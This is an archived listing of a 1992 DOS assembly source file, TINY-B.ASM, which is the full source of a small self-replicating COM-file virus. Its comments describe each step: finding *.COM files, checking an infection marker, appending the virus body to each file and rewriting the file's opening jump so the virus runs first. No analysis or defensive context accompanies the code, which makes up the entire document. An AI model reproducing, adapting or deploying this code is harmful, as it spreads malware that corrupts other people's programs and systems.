home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-T.ZIP / TINY-B.ASM < prev    next >
Assembly Source File  |  1992-09-13  |  4KB  |  103 lines

  1.     PAGE    ,132
  2. tinyv   SEGMENT BYTE PUBLIC 'code'
  3.         ASSUME  CS:tinyv
  4.         ASSUME  SS:tinyv
  5.         ASSUME  DS:tinyv
  6. H00000    DB    0
  7. H00001    DB    255 DUP(?)
  8. program  PROC    FAR
  9.         ASSUME  ES:tinyv
  10. begin:
  11.         JMP     pgstart                 ; start program
  12. exlbl   LABEL   BYTE
  13.         db      0CDh, 20h, 7, 8, 9
  14. pgstart:
  15.         CALL    tinyvir
  16. mnprg   PROC    NEAR
  17. tinyvir:
  18.         POP     SI                      ; get SI for storage
  19.         SUB     SI,offset tinyvir       ; reset SI to virus start
  20.         MOV     BP,[SI+blnkdat]         ; store SI in BP for return
  21.         ADD     BP,offset exlbl         ; Add to get original offset
  22.         LEA     DX,[SI+fspec]           ; get filespec (*.COM)
  23.         SUB     CX,CX                   ;        ||    (clear regs)
  24.         MOV     AH,4EH                  ;        ||   (find files)
  25. mainloop:                               ;       \||/
  26.         INT     21H                     ;    ----\/----
  27.         JC      ack                     ; no more files found, terminate virus
  28.         MOV     DX,009EH                ; set file name pointer
  29.         MOV     AX,3D02H                ; open file
  30.         INT     21H                     ; do it!
  31.         MOV     BX,AX                   ; move file handle to BX
  32.         MOV     AH,3FH                  ; read file
  33.         JMP     whatever
  34. ack:
  35.         JMP     nofile
  36. whatever:
  37.         LEA     DX,[SI+endprog]         ; load end of program (as buffer pntr)
  38.         MOV     DI,DX                   ; set Dest Index to area for buffer (?)
  39.         MOV     CX,0003H                ; read 3 bytes
  40.         INT     21H                     ; do it!
  41.         CMP     BYTE PTR [DI],0E9H      ; check for JMP at start
  42.         JE      infect                  ; If begins w/JMP, Infect
  43. nextfile:
  44.         MOV     AH,4FH                  ; set int 21 to find next file
  45.         JMP     mainloop                ; next file, do it!
  46. infect:
  47.         MOV     DX,[DI+01H]             ; set # of bytes to move
  48.         MOV     [SI+blnkdat],DX         ;  "  " "    "   "   "
  49.         SUB     CX,CX                   ;  "  " "    "   "   " (0 here)
  50.         NOP
  51.         MOV     AX,4200H                ; move file
  52.         INT     21H                     ; do it!
  53.         MOV     DX,DI                   ; set dest index to area for buffer (?)
  54.         MOV     CX,0002H                ; two bytes
  55.         NOP
  56.         MOV     AH,3FH                  ; read file
  57.         INT     21H                     ; do it!
  58.         CMP     WORD PTR [DI],0807H     ; check for infection
  59.         JE      nextfile                ; next file if infected
  60.         NOP
  61.         SUB     DX,DX                   ; clear regs
  62.         SUB     CX,CX                   ;   "    "
  63.         MOV     AX,4202H                ; move file pointer
  64.         INT     21H                     ; do it!
  65.         CMP     DX,00H                  ; new pointer location 0?
  66.         NOP
  67.         JNE     nextfile                ; if no then next file
  68.         CMP     AH,0FEH                 ; new pointer loc too high?
  69.         JNC     nextfile                ; yes, try again
  70.         MOV     [SI+offset endprog+3],AX; point to data
  71.         NOP
  72.         MOV     AH,40H                  ; write instruction
  73.         LEA     DX,[SI+0105H]           ; write buffer loc    |
  74.         MOV     CX,offset endprog-105h  ; (size of virus)  --\|/--
  75.         INT     21H                     ; do it!
  76.         JC      exit                    ; error, bug out
  77.         MOV     AX,4200H                ; move pointer
  78.         NOP
  79.         SUB     CX,CX                   ; clear reg
  80.         MOV     DX,OFFSET H00001        ; where to set pointer
  81.         NOP
  82.         INT     21H                     ; do it!
  83.         MOV     AH,40H                  ; write to file
  84.         LEA     DX,[SI+offset endprog+3]; write data at SI+1AB
  85.         NOP
  86.         MOV     CX,0002H                ; two bytes (the JMP)
  87.         INT     21H                     ; do it!
  88. exit:
  89.         MOV     AH,3EH                  ; close file
  90.         INT     21H                     ; do it!
  91. nofile:
  92.         JMP     BP                      ; go to original file
  93. mnprg   ENDP
  94. program  ENDP
  95. blnkdat LABEL   WORD
  96.         DW      0000H
  97. fspec   LABEL   WORD
  98.         DB      '*.COM'
  99.     DB    0
  100. endprog LABEL   WORD
  101. tinyv   ENDS
  102.         END     program
  103.